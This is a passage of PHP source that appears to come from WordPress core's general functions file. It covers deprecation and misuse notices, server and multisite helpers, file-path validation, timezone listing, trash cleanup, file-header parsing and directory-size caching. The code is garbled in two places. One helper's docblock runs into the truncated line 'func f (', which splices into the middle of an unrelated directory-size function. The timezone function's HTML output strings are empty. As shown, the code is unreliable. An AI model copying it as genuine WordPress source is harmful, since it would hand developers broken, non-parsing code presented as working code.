);
}
} else {
if ( $parent_class ) {
trigger_error(
sprintf(
'The called constructor method for %1$s class in %2$s is deprecated since version %3$s! Use %4$s instead.',
$class,
$parent_class,
$version,
'__construct()'
),
E_USER_DEPRECATED
);
} else {
trigger_error(
sprintf(
'The called constructor method for %1$s class is deprecated since version %2$s! Use %3$s instead.',
$class,
$version,
'__construct()'
),
E_USER_DEPRECATED
);
}
}
}
}
/**
* Mark a file as deprecated and inform when it has been used.
*
* There is a hook {@see 'deprecated_file_included'} that will be called that can be used
* to get the backtrace up to what file and function included the deprecated
* file.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every file that is deprecated.
*
* @since 2.5.0
* @since 5.4.0 This function is no longer marked as "private".
* @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
*
* @param string $file The file that was included.
* @param string $version The version of WordPress that deprecated the file.
* @param string $replacement Optional. The file that should have been included based on ABSPATH.
* Default empty.
* @param string $message Optional. A message regarding the change. Default empty.
*/
function _deprecated_file( $file, $version, $replacement = '', $message = '' ) {
/**
* Fires when a deprecated file is called.
*
* @since 2.5.0
*
* @param string $file The file that was called.
* @param string $replacement The file that should have been included based on ABSPATH.
* @param string $version The version of WordPress that deprecated the file.
* @param string $message A message regarding the change.
*/
do_action( 'deprecated_file_included', $file, $replacement, $version, $message );
/**
* Filters whether to trigger an error for deprecated files.
*
* @since 2.5.0
*
* @param bool $trigger Whether to trigger the error for deprecated files. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) {
$message = empty( $message ) ? '' : ' ' . $message;
if ( function_exists( '__' ) ) {
if ( $replacement ) {
trigger_error(
sprintf(
/* translators: 1: PHP file name, 2: Version number, 3: Alternative file name. */
__( 'File %1$s is deprecated since version %2$s! Use %3$s instead.' ),
$file,
$version,
$replacement
) . $message,
E_USER_DEPRECATED
);
} else {
trigger_error(
sprintf(
/* translators: 1: PHP file name, 2: Version number. */
__( 'File %1$s is deprecated since version %2$s with no alternative available.' ),
$file,
$version
) . $message,
E_USER_DEPRECATED
);
}
} else {
if ( $replacement ) {
trigger_error(
sprintf(
'File %1$s is deprecated since version %2$s! Use %3$s instead.',
$file,
$version,
$replacement
) . $message,
E_USER_DEPRECATED
);
} else {
trigger_error(
sprintf(
'File %1$s is deprecated since version %2$s with no alternative available.',
$file,
$version
) . $message,
E_USER_DEPRECATED
);
}
}
}
}
/**
* Mark a function argument as deprecated and inform when it has been used.
*
* This function is to be used whenever a deprecated function argument is used.
* Before this function is called, the argument must be checked for whether it was
* used by comparing it to its default value or evaluating whether it is empty.
* For example:
*
* if ( ! empty( $deprecated ) ) {
* _deprecated_argument( __FUNCTION__, '3.0.0' );
* }
*
* There is a hook deprecated_argument_run that will be called that can be used
* to get the backtrace up to what file and function used the deprecated
* argument.
*
* The current behavior is to trigger a user error if WP_DEBUG is true.
*
* @since 3.0.0
* @since 5.4.0 This function is no longer marked as "private".
* @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
*
* @param string $function The function that was called.
* @param string $version The version of WordPress that deprecated the argument used.
* @param string $message Optional. A message regarding the change. Default empty.
*/
function _deprecated_argument( $function, $version, $message = '' ) {
/**
* Fires when a deprecated argument is called.
*
* @since 3.0.0
*
* @param string $function The function that was called.
* @param string $message A message regarding the change.
* @param string $version The version of WordPress that deprecated the argument used.
*/
do_action( 'deprecated_argument_run', $function, $message, $version );
/**
* Filters whether to trigger an error for deprecated arguments.
*
* @since 3.0.0
*
* @param bool $trigger Whether to trigger the error for deprecated arguments. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( $message ) {
trigger_error(
sprintf(
/* translators: 1: PHP function name, 2: Version number, 3: Optional message regarding the change. */
__( 'Function %1$s was called with an argument that is deprecated since version %2$s! %3$s' ),
$function,
$version,
$message
),
E_USER_DEPRECATED
);
} else {
trigger_error(
sprintf(
/* translators: 1: PHP function name, 2: Version number. */
__( 'Function %1$s was called with an argument that is deprecated since version %2$s with no alternative available.' ),
$function,
$version
),
E_USER_DEPRECATED
);
}
} else {
if ( $message ) {
trigger_error(
sprintf(
'Function %1$s was called with an argument that is deprecated since version %2$s! %3$s',
$function,
$version,
$message
),
E_USER_DEPRECATED
);
} else {
trigger_error(
sprintf(
'Function %1$s was called with an argument that is deprecated since version %2$s with no alternative available.',
$function,
$version
),
E_USER_DEPRECATED
);
}
}
}
}
/**
* Marks a deprecated action or filter hook as deprecated and throws a notice.
*
* Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where
* the deprecated hook was called.
*
* Default behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is called by the do_action_deprecated() and apply_filters_deprecated()
* functions, and so generally does not need to be called directly.
*
* @since 4.6.0
* @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
* @access private
*
* @param string $hook The hook that was used.
* @param string $version The version of WordPress that deprecated the hook.
* @param string $replacement Optional. The hook that should have been used. Default empty.
* @param string $message Optional. A message regarding the change. Default empty.
*/
function _deprecated_hook( $hook, $version, $replacement = '', $message = '' ) {
/**
* Fires when a deprecated hook is called.
*
* @since 4.6.0
*
* @param string $hook The hook that was called.
* @param string $replacement The hook that should be used as a replacement.
* @param string $version The version of WordPress that deprecated the argument used.
* @param string $message A message regarding the change.
*/
do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message );
/**
* Filters whether to trigger deprecated hook errors.
*
* @since 4.6.0
*
* @param bool $trigger Whether to trigger deprecated hook errors. Requires
* `WP_DEBUG` to be defined true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) {
$message = empty( $message ) ? '' : ' ' . $message;
if ( $replacement ) {
trigger_error(
sprintf(
/* translators: 1: WordPress hook name, 2: Version number, 3: Alternative hook name. */
__( 'Hook %1$s is deprecated since version %2$s! Use %3$s instead.' ),
$hook,
$version,
$replacement
) . $message,
E_USER_DEPRECATED
);
} else {
trigger_error(
sprintf(
/* translators: 1: WordPress hook name, 2: Version number. */
__( 'Hook %1$s is deprecated since version %2$s with no alternative available.' ),
$hook,
$version
) . $message,
E_USER_DEPRECATED
);
}
}
}
/**
* Mark something as being incorrectly called.
*
* There is a hook {@see 'doing_it_wrong_run'} that will be called that can be used
* to get the backtrace up to what file and function called the deprecated
* function.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* @since 3.1.0
* @since 5.4.0 This function is no longer marked as "private".
*
* @param string $function The function that was called.
* @param string $message A message explaining what has been done incorrectly.
* @param string $version The version of WordPress where the message was added.
*/
function _doing_it_wrong( $function, $message, $version ) {
/**
* Fires when the given function is being used incorrectly.
*
* @since 3.1.0
*
* @param string $function The function that was called.
* @param string $message A message explaining what has been done incorrectly.
* @param string $version The version of WordPress where the message was added.
*/
do_action( 'doing_it_wrong_run', $function, $message, $version );
/**
* Filters whether to trigger an error for _doing_it_wrong() calls.
*
* @since 3.1.0
* @since 5.1.0 Added the $function, $message and $version parameters.
*
* @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true.
* @param string $function The function that was called.
* @param string $message A message explaining what has been done incorrectly.
* @param string $version The version of WordPress where the message was added.
*/
if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true, $function, $message, $version ) ) {
if ( function_exists( '__' ) ) {
if ( $version ) {
/* translators: %s: Version number. */
$version = sprintf( __( '(This message was added in version %s.)' ), $version );
}
$message .= ' ' . sprintf(
/* translators: %s: Documentation URL. */
__( 'Please see Debugging in WordPress for more information.' ),
__( 'https://wordpress.org/support/article/debugging-in-wordpress/' )
);
trigger_error(
sprintf(
/* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: WordPress version number. */
__( 'Function %1$s was called incorrectly. %2$s %3$s' ),
$function,
$message,
$version
),
E_USER_NOTICE
);
} else {
if ( $version ) {
$version = sprintf( '(This message was added in version %s.)', $version );
}
$message .= sprintf(
' Please see Debugging in WordPress for more information.',
'https://wordpress.org/support/article/debugging-in-wordpress/'
);
trigger_error(
sprintf(
'Function %1$s was called incorrectly. %2$s %3$s',
$function,
$message,
$version
),
E_USER_NOTICE
);
}
}
}
/**
* Is the server running earlier than 1.5.0 version of lighttpd?
*
* @since 2.5.0
*
* @return bool Whether the server is running lighttpd < 1.5.0.
*/
function is_lighttpd_before_150() {
$server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : '' );
$server_parts[1] = isset( $server_parts[1] ) ? $server_parts[1] : '';
return ( 'lighttpd' === $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' ) );
}
/**
* Does the specified module exist in the Apache config?
*
* @since 2.5.0
*
* @global bool $is_apache
*
* @param string $mod The module, e.g. mod_rewrite.
* @param bool $default Optional. The default return value if the module is not found. Default false.
* @return bool Whether the specified module is loaded.
*/
function apache_mod_loaded( $mod, $default = false ) {
global $is_apache;
if ( ! $is_apache ) {
return false;
}
if ( function_exists( 'apache_get_modules' ) ) {
$mods = apache_get_modules();
if ( in_array( $mod, $mods, true ) ) {
return true;
}
} elseif ( function_exists( 'phpinfo' ) && false === strpos( ini_get( 'disable_functions' ), 'phpinfo' ) ) {
ob_start();
phpinfo( 8 );
$phpinfo = ob_get_clean();
if ( false !== strpos( $phpinfo, $mod ) ) {
return true;
}
}
return $default;
}
/**
* Check if IIS 7+ supports pretty permalinks.
*
* @since 2.8.0
*
* @global bool $is_iis7
*
* @return bool Whether IIS7 supports permalinks.
*/
function iis7_supports_permalinks() {
global $is_iis7;
$supports_permalinks = false;
if ( $is_iis7 ) {
/* First we check if the DOMDocument class exists. If it does not exist, then we cannot
* easily update the xml configuration file, hence we just bail out and tell user that
* pretty permalinks cannot be used.
*
* Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When
* URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'.
* Lastly we make sure that PHP is running via FastCGI. This is important because if it runs
* via ISAPI then pretty permalinks will not work.
*/
$supports_permalinks = class_exists( 'DOMDocument', false ) && isset( $_SERVER['IIS_UrlRewriteModule'] ) && ( 'cgi-fcgi' === PHP_SAPI );
}
/**
* Filters whether IIS 7+ supports pretty permalinks.
*
* @since 2.8.0
*
* @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false.
*/
return apply_filters( 'iis7_supports_permalinks', $supports_permalinks );
}
/**
* Validates a file name and path against an allowed set of rules.
*
* A return value of `1` means the file path contains directory traversal.
*
* A return value of `2` means the file path contains a Windows drive path.
*
* A return value of `3` means the file is not in the allowed files list.
*
* @since 1.2.0
*
* @param string $file File path.
* @param string[] $allowed_files Optional. Array of allowed files.
* @return int 0 means nothing is wrong, greater than 0 means something was wrong.
*/
function validate_file( $file, $allowed_files = array() ) {
if ( ! is_scalar( $file ) || '' === $file ) {
return 0;
}
// `../` on its own is not allowed:
if ( '../' === $file ) {
return 1;
}
// More than one occurrence of `../` is not allowed:
if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) {
return 1;
}
// `../` which does not occur at the end of the path is not allowed:
if ( false !== strpos( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) {
return 1;
}
// Files not in the allowed file list are not allowed:
if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files, true ) ) {
return 3;
}
// Absolute Windows drive paths are not allowed:
if ( ':' === substr( $file, 1, 1 ) ) {
return 2;
}
return 0;
}
/**
* Whether to force SSL used for the Administration Screens.
*
* @since 2.6.0
*
* @param string|bool $force Optional. Whether to force SSL in admin screens. Default null.
* @return bool True if forced, false if not forced.
*/
function force_ssl_admin( $force = null ) {
static $forced = false;
if ( ! is_null( $force ) ) {
$old_forced = $forced;
$forced = $force;
return $old_forced;
}
return $forced;
}
/**
* Guess the URL for the site.
*
* Will remove wp-admin links to retrieve only return URLs not in the wp-admin
* directory.
*
* @since 2.6.0
*
* @return string The guessed URL.
*/
function wp_guess_url() {
if ( defined( 'WP_SITEURL' ) && '' !== WP_SITEURL ) {
$url = WP_SITEURL;
} else {
$abspath_fix = str_replace( '\\', '/', ABSPATH );
$script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] );
// The request is for the admin.
if ( strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) !== false || strpos( $_SERVER['REQUEST_URI'], 'wp-login.php' ) !== false ) {
$path = preg_replace( '#/(wp-admin/.*|wp-login.php)#i', '', $_SERVER['REQUEST_URI'] );
// The request is for a file in ABSPATH.
} elseif ( $script_filename_dir . '/' === $abspath_fix ) {
// Strip off any file/query params in the path.
$path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] );
} else {
if ( false !== strpos( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) {
// Request is hitting a file inside ABSPATH.
$directory = str_replace( ABSPATH, '', $script_filename_dir );
// Strip off the subdirectory, and any file/query params.
$path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '', $_SERVER['REQUEST_URI'] );
} elseif ( false !== strpos( $abspath_fix, $script_filename_dir ) ) {
// Request is hitting a file above ABSPATH.
$subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) );
// Strip off any file/query params from the path, appending the subdirectory to the installation.
$path = preg_replace( '#/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ) . $subdirectory;
} else {
$path = $_SERVER['REQUEST_URI'];
}
}
$schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet.
$url = $schema . $_SERVER['HTTP_HOST'] . $path;
}
return rtrim( $url, '/' );
}
/**
* Temporarily suspend cache additions.
*
* Stops more data being added to the cache, but still allows cache retrieval.
* This is useful for actions, such as imports, when a lot of data would otherwise
* be almost uselessly added to the cache.
*
* Suspension lasts for a single page load at most. Remember to call this
* function again if you wish to re-enable cache adds earlier.
*
* @since 3.3.0
*
* @param bool $suspend Optional. Suspends additions if true, re-enables them if false.
* @return bool The current suspend setting
*/
function wp_suspend_cache_addition( $suspend = null ) {
static $_suspend = false;
if ( is_bool( $suspend ) ) {
$_suspend = $suspend;
}
return $_suspend;
}
/**
* Suspend cache invalidation.
*
* Turns cache invalidation on and off. Useful during imports where you don't want to do
* invalidations every time a post is inserted. Callers must be sure that what they are
* doing won't lead to an inconsistent cache when invalidation is suspended.
*
* @since 2.7.0
*
* @global bool $_wp_suspend_cache_invalidation
*
* @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true.
* @return bool The current suspend setting.
*/
function wp_suspend_cache_invalidation( $suspend = true ) {
global $_wp_suspend_cache_invalidation;
$current_suspend = $_wp_suspend_cache_invalidation;
$_wp_suspend_cache_invalidation = $suspend;
return $current_suspend;
}
/**
* Determine whether a site is the main site of the current network.
*
* @since 3.0.0
* @since 4.9.0 The `$network_id` parameter was added.
*
* @param int $site_id Optional. Site ID to test. Defaults to current site.
* @param int $network_id Optional. Network ID of the network to check for.
* Defaults to current network.
* @return bool True if $site_id is the main site of the network, or if not
* running Multisite.
*/
function is_main_site( $site_id = null, $network_id = null ) {
if ( ! is_multisite() ) {
return true;
}
if ( ! $site_id ) {
$site_id = get_current_blog_id();
}
$site_id = (int) $site_id;
return get_main_site_id( $network_id ) === $site_id;
}
/**
* Gets the main site ID.
*
* @since 4.9.0
*
* @param int $network_id Optional. The ID of the network for which to get the main site.
* Defaults to the current network.
* @return int The ID of the main site.
*/
function get_main_site_id( $network_id = null ) {
if ( ! is_multisite() ) {
return get_current_blog_id();
}
$network = get_network( $network_id );
if ( ! $network ) {
return 0;
}
return $network->site_id;
}
/**
* Determine whether a network is the main network of the Multisite installation.
*
* @since 3.7.0
*
* @param int $network_id Optional. Network ID to test. Defaults to current network.
* @return bool True if $network_id is the main network, or if not running Multisite.
*/
function is_main_network( $network_id = null ) {
if ( ! is_multisite() ) {
return true;
}
if ( null === $network_id ) {
$network_id = get_current_network_id();
}
$network_id = (int) $network_id;
return ( get_main_network_id() === $network_id );
}
/**
* Get the main network ID.
*
* @since 4.3.0
*
* @return int The ID of the main network.
*/
function get_main_network_id() {
if ( ! is_multisite() ) {
return 1;
}
$current_network = get_network();
if ( defined( 'PRIMARY_NETWORK_ID' ) ) {
$main_network_id = PRIMARY_NETWORK_ID;
} elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) {
// If the current network has an ID of 1, assume it is the main network.
$main_network_id = 1;
} else {
$_networks = get_networks(
array(
'fields' => 'ids',
'number' => 1,
)
);
$main_network_id = array_shift( $_networks );
}
/**
* Filters the main network ID.
*
* @since 4.3.0
*
* @param int $main_network_id The ID of the main network.
*/
return (int) apply_filters( 'get_main_network_id', $main_network_id );
}
/**
* Determine whether global terms are enabled.
*
* @since 3.0.0
*
* @return bool True if multisite and global terms enabled.
*/
function global_terms_enabled() {
if ( ! is_multisite() ) {
return false;
}
static $global_terms = null;
if ( is_null( $global_terms ) ) {
/**
* Filters whether global terms are enabled.
*
* Returning a non-null value from the filter will effectively short-circuit the function
* and return the value of the 'global_terms_enabled' site option instead.
*
* @since 3.0.0
*
* @param null $enabled Whether global terms are enabled.
*/
$filter = apply_filters( 'global_terms_enabled', null );
if ( ! is_null( $filter ) ) {
$global_terms = (bool) $filter;
} else {
$global_terms = (bool) get_site_option( 'global_terms_enabled', false );
}
}
return $global_terms;
}
/**
* Determines whether site meta is enabled.
*
* This function checks whether the 'blogmeta' database table exists. The result is saved as
* a setting for the main network, making it essentially a global setting. Subsequent requests
* will refer to this setting instead of running the query.
*
* @since 5.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return bool True if site meta is supported, false otherwise.
*/
function is_site_meta_supported() {
global $wpdb;
if ( ! is_multisite() ) {
return false;
}
$network_id = get_main_network_id();
$supported = get_network_option( $network_id, 'site_meta_supported', false );
if ( false === $supported ) {
$supported = $wpdb->get_var( "SHOW TABLES LIKE '{$wpdb->blogmeta}'" ) ? 1 : 0;
update_network_option( $network_id, 'site_meta_supported', $supported );
}
return (bool) $supported;
}
/**
* gmt_offset modification for smart timezone handling.
*
* Overrides the gmt_offset option if we have a timezone_string available.
*
* @since 2.8.0
*
* @return float|false Timezone GMT offset, false otherwise.
*/
function wp_timezone_override_offset() {
$timezone_string = get_option( 'timezone_string' );
if ( ! $timezone_string ) {
return false;
}
$timezone_object = timezone_open( $timezone_string );
$datetime_object = date_create();
if ( false === $timezone_object || false === $datetime_object ) {
return false;
}
return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 );
}
/**
* Sort-helper for timezones.
*
* @since 2.9.0
* @access private
*
* @param array $a
* @param array $b
* @return int
*/
function _wp_timezone_choice_usort_callback( $a, $b ) {
// Don't use translated versions of Etc.
if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) {
// Make the order of these more like the old dropdown.
if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) {
return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) );
}
if ( 'UTC' === $a['city'] ) {
if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) {
return 1;
}
return -1;
}
if ( 'UTC' === $b['city'] ) {
if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) {
return -1;
}
return 1;
}
return strnatcasecmp( $a['city'], $b['city'] );
}
if ( $a['t_continent'] == $b['t_continent'] ) {
if ( $a['t_city'] == $b['t_city'] ) {
return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] );
}
return strnatcasecmp( $a['t_city'], $b['t_city'] );
} else {
// Force Etc to the bottom of the list.
if ( 'Etc' === $a['continent'] ) {
return 1;
}
if ( 'Etc' === $b['continent'] ) {
return -1;
}
return strnatcasecmp( $a['t_continent'], $b['t_continent'] );
}
}
/**
* Gives a nicely-formatted list of timezone strings.
*
* @since 2.9.0
* @since 4.7.0 Added the `$locale` parameter.
*
* @param string $selected_zone Selected timezone.
* @param string $locale Optional. Locale to load the timezones in. Default current site locale.
* @return string
*/
function wp_timezone_choice( $selected_zone, $locale = null ) {
static $mo_loaded = false, $locale_loaded = null;
$continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific' );
// Load translations for continents and cities.
if ( ! $mo_loaded || $locale !== $locale_loaded ) {
$locale_loaded = $locale ? $locale : get_locale();
$mofile = WP_LANG_DIR . '/continents-cities-' . $locale_loaded . '.mo';
unload_textdomain( 'continents-cities' );
load_textdomain( 'continents-cities', $mofile );
$mo_loaded = true;
}
$zonen = array();
foreach ( timezone_identifiers_list() as $zone ) {
$zone = explode( '/', $zone );
if ( ! in_array( $zone[0], $continents, true ) ) {
continue;
}
// This determines what gets set and translated - we don't translate Etc/* strings here, they are done later.
$exists = array(
0 => ( isset( $zone[0] ) && $zone[0] ),
1 => ( isset( $zone[1] ) && $zone[1] ),
2 => ( isset( $zone[2] ) && $zone[2] ),
);
$exists[3] = ( $exists[0] && 'Etc' !== $zone[0] );
$exists[4] = ( $exists[1] && $exists[3] );
$exists[5] = ( $exists[2] && $exists[3] );
// phpcs:disable WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
$zonen[] = array(
'continent' => ( $exists[0] ? $zone[0] : '' ),
'city' => ( $exists[1] ? $zone[1] : '' ),
'subcity' => ( $exists[2] ? $zone[2] : '' ),
't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ),
't_city' => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ),
't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' ),
);
// phpcs:enable
}
usort( $zonen, '_wp_timezone_choice_usort_callback' );
$structure = array();
if ( empty( $selected_zone ) ) {
$structure[] = '';
}
foreach ( $zonen as $key => $zone ) {
// Build value in an array to join later.
$value = array( $zone['continent'] );
if ( empty( $zone['city'] ) ) {
// It's at the continent level (generally won't happen).
$display = $zone['t_continent'];
} else {
// It's inside a continent group.
// Continent optgroup.
if ( ! isset( $zonen[ $key - 1 ] ) || $zonen[ $key - 1 ]['continent'] !== $zone['continent'] ) {
$label = $zone['t_continent'];
$structure[] = '';
}
}
// Do UTC.
$structure[] = '';
// Do manual UTC offsets.
$structure[] = '';
return implode( "\n", $structure );
}
/**
* Strip close comment and close php tags from file headers used by WP.
*
* @since 2.8.0
* @access private
*
* @see https://core.trac.wordpress.org/ticket/8497
*
* @param string $str Header comment to clean up.
* @return string
*/
function _cleanup_header_comment( $str ) {
return trim( preg_replace( '/\s*(?:\*\/|\?>).*/', '', $str ) );
}
/**
* Permanently delete comments or posts of any type that have held a status
* of 'trash' for the number of days defined in EMPTY_TRASH_DAYS.
*
* The default value of `EMPTY_TRASH_DAYS` is 30 (days).
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function wp_scheduled_delete() {
global $wpdb;
$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
$posts_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A );
foreach ( (array) $posts_to_delete as $post ) {
$post_id = (int) $post['post_id'];
if ( ! $post_id ) {
continue;
}
$del_post = get_post( $post_id );
if ( ! $del_post || 'trash' !== $del_post->post_status ) {
delete_post_meta( $post_id, '_wp_trash_meta_status' );
delete_post_meta( $post_id, '_wp_trash_meta_time' );
} else {
wp_delete_post( $post_id );
}
}
$comments_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A );
foreach ( (array) $comments_to_delete as $comment ) {
$comment_id = (int) $comment['comment_id'];
if ( ! $comment_id ) {
continue;
}
$del_comment = get_comment( $comment_id );
if ( ! $del_comment || 'trash' !== $del_comment->comment_approved ) {
delete_comment_meta( $comment_id, '_wp_trash_meta_time' );
delete_comment_meta( $comment_id, '_wp_trash_meta_status' );
} else {
wp_delete_comment( $del_comment );
}
}
}
/**
* Retrieve metadata from a file.
*
* Searches for metadata in the first 8 KB of a file, such as a plugin or theme.
* Each piece of metadata must be on its own line. Fields can not span multiple
* lines, the value will get cut at the end of the first line.
*
* If the file data is not within that first 8 KB, then the author should correct
* their plugin file and move the data headers to the top.
*
* @link https://codex.wordpress.org/File_Header
*
* @since 2.9.0
*
* @param string $file Absolute path to the file.
* @param array $default_headers List of headers, in the format `array( 'HeaderKey' => 'Header Name' )`.
* @param string $context Optional. If specified adds filter hook {@see 'extra_$context_headers'}.
* Default empty.
* @return string[] Array of file header values keyed by header name.
*/
function get_file_data( $file, $default_headers, $context = '' ) {
// Pull only the first 8 KB of the file in.
$file_data = file_get_contents( $file, false, null, 0, 8 * KB_IN_BYTES );
if ( false === $file_data ) {
$file_data = '';
}
// Make sure we catch CR-only line endings.
$file_data = str_replace( "\r", "\n", $file_data );
/**
* Filters extra file headers by context.
*
* The dynamic portion of the hook name, `$context`, refers to
* the context where extra headers might be loaded.
*
* @since 2.9.0
*
* @param array $extra_context_headers Empty array by default.
*/
$extra_headers = $context ? apply_filters( "extra_{$context}_headers", array() ) : array();
if ( $extra_headers ) {
$extra_headers = array_combine( $extra_headers, $extra_headers ); // Keys equal values.
$all_headers = array_merge( $extra_headers, (array) $default_headers );
} else {
$all_headers = $default_headers;
}
foreach ( $all_headers as $field => $regex ) {
if ( preg_match( '/^(?:[ \t]*<\?php)?[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] ) {
$all_headers[ $field ] = _cleanup_header_comment( $match[1] );
} else {
$all_headers[ $field ] = '';
}
}
return $all_headers;
}
/**
* Returns true.
*
* Useful for returning true to filters easily.
*
* @since 3.0.0
*
* @see __return_false()
*
* @return true True.
*/
function __return_true() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
return true;
}
/**
* Returns false.
*
* Useful for returning false to filters easily.
*
* @since 3.0.0
*
* @see __return_true()
*
* @return false False.
*/
function __return_false() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
return false;
}
/**
* Returns 0.
*
* Useful for returning 0 to filters easily.
*
* @since 3.0.0
*
* @return int 0.
*/
function __return_zero() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
return 0;
}
/**
* Returns an empty array.
*
* Useful for returning an empty array to filters easily.
*
* @since 3.0.0
*
* @return array Empty array.
*/
func f ( function_exists( 'ini_get' ) ) {
$max_execution_time = ini_get( 'max_execution_time' );
} else {
// Disable...
$max_execution_time = 0;
}
// Leave 1 second "buffer" for other operations if $max_execution_time has reasonable value.
if ( $max_execution_time > 10 ) {
$max_execution_time -= 1;
}
}
/**
* Filters the amount of storage space used by one directory and all its children, in megabytes.
*
* Return the actual used space to short-circuit the recursive PHP file size calculation
* and use something else, like a CDN API or native operating system tools for better performance.
*
* @since 5.6.0
*
* @param int|false $space_used The amount of used space, in bytes. Default false.
* @param string $directory Full path of a directory.
* @param string|string[]|null $exclude Full path of a subdirectory to exclude from the total,
* or array of paths.
* @param int $max_execution_time Maximum time to run before giving up. In seconds.
* @param array $directory_cache Array of cached directory paths.
*/
$size = apply_filters( 'pre_recurse_dirsize', false, $directory, $exclude, $max_execution_time, $directory_cache );
if ( false === $size ) {
$size = 0;
$handle = opendir( $directory );
if ( $handle ) {
while ( ( $file = readdir( $handle ) ) !== false ) {
$path = $directory . '/' . $file;
if ( '.' !== $file && '..' !== $file ) {
if ( is_file( $path ) ) {
$size += filesize( $path );
} elseif ( is_dir( $path ) ) {
$handlesize = recurse_dirsize( $path, $exclude, $max_execution_time, $directory_cache );
if ( $handlesize > 0 ) {
$size += $handlesize;
}
}
if ( $max_execution_time > 0 &&
( microtime( true ) - WP_START_TIMESTAMP ) > $max_execution_time
) {
// Time exceeded. Give up instead of risking a fatal timeout.
$size = null;
break;
}
}
}
closedir( $handle );
}
}
if ( ! is_array( $directory_cache ) ) {
$directory_cache = array();
}
$directory_cache[ $directory ] = $size;
// Only write the transient on the top level call and not on recursive calls.
if ( $save_cache ) {
set_transient( 'dirsize_cache', $directory_cache );
}
return $size;
}
/**
* Cleans directory size cache used by recurse_dirsize().
*
* Removes the current directory and all parent directories from the `dirsize_cache` transient.
*
* @since 5.6.0
* @since 5.9.0 Added input validation with a notice for invalid input.
*
* @param string $path Full path of a directory or file.
*/
function clean_dirsize_cache( $path ) {
if ( ! is_string( $path ) || empty( $path ) ) {
trigger_error(
sprintf(
/* translators: 1: Function name, 2: A variable type, like "boolean" or "integer". */
__( '%1$s only accepts a non-empty path string, received %2$s.' ),
'clean_dirsize_cache()',
'' . gettype( $path ) . ''
)
);
return;
}
$directory_cache = get_transient( 'dirsize_cache' );
if ( empty( $directory_cache ) ) {
return;
}
if (
strpos( $path, '/' ) === false &&
strpos( $path, '\\' ) === false
) {
unset( $directory_cache[ $path ] );
set_transient( 'dirsize_cache', $directory_cache );
return;
}
$last_path = null;
$path = untrailingslashit( $path );
